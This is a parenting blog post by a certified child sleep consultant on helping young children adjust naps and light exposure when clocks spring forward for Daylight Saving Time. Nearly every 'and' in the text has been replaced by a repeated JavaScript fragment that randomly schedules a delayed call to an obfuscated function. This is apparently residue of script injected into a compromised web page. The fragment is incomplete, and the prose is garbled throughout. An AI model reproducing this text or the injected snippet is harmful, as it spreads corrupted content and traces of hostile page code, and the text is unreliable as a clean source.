Spring Forward With The Best Sleep Tips For Daylight Savings

There is nothing like a little sunshine to boost your mood andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and put a spring in your step.  If you have little ones who have been cooped up during the cold winter months, take heart, spring is just around the corner!  The proof is on the calendar.

Daylight Savings Time, a sure sign of spring, arrives on March 13th at 2am.  While we don’t change time here in Saskatchewan, home of Sleepwell Baby, our friends who subscribe to saving daylight will need to spring forward andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and set their clocks ahead by one hourSo what does this mean for your little one’s sleep?

On March 13th 6am will become 7am andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 6 pm will be 7pm.  Mornings are darker andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and light is saved for the evening with the new clock.  If you are the parent to a little rooster who likes to rise early, you are about to catch a break. All that cock-a-doodle-doin’ that used to happen at 5 am will now happen at 6am, for a few days until your early riser adjusts to the new clock.

What should you do about naps? Instead of immediately making the switch to new naptimes, split the difference. Adjust the morning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and afternoon naps by 30 minutes to begin with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and add another 30 minutes by the third day.  By the end of the week your little one should easily switch over to the new schedule.

Help your little one reset her body clock by exposing her to light upon waking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keeping her room dark when it’s time to sleep.  Sleep is regulated by our circadian rhythm (our body’s internal clock) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that clock is regulated by light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and darkness. Exposing your little one to light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and darkness that is consistent with the new clock will speed up the change.

Remember that children thrive when parents provide a structured environment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dealing with the time change is no different.  Keeping your everyday routines consistent will help your little one make the adjustment.  Structure your day with regular playtimes, mealtimes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pre-sleep routines all according to the new time.

Keep in mind that when it comes to little ones andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sleep, this is the easier end of Daylight Savings Time as we are springing forward instead of falling back.  By making naptime adjustments, introducing light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and darkness to reset the body’s internal clock andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keeping consistent routines your little ones will be well rested andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ready to take on spring.  And after a long winter so will you.

Alysa Dobson is a Certified Child Sleep Consultant with Sleepwell Baby. She works with families to help them get the sleep they need. Alysa offers support to parents with children ages 4 months- 8 years old through both in home and remote consultations. She can be contacted at alysa@sleepwellbaby.ca.

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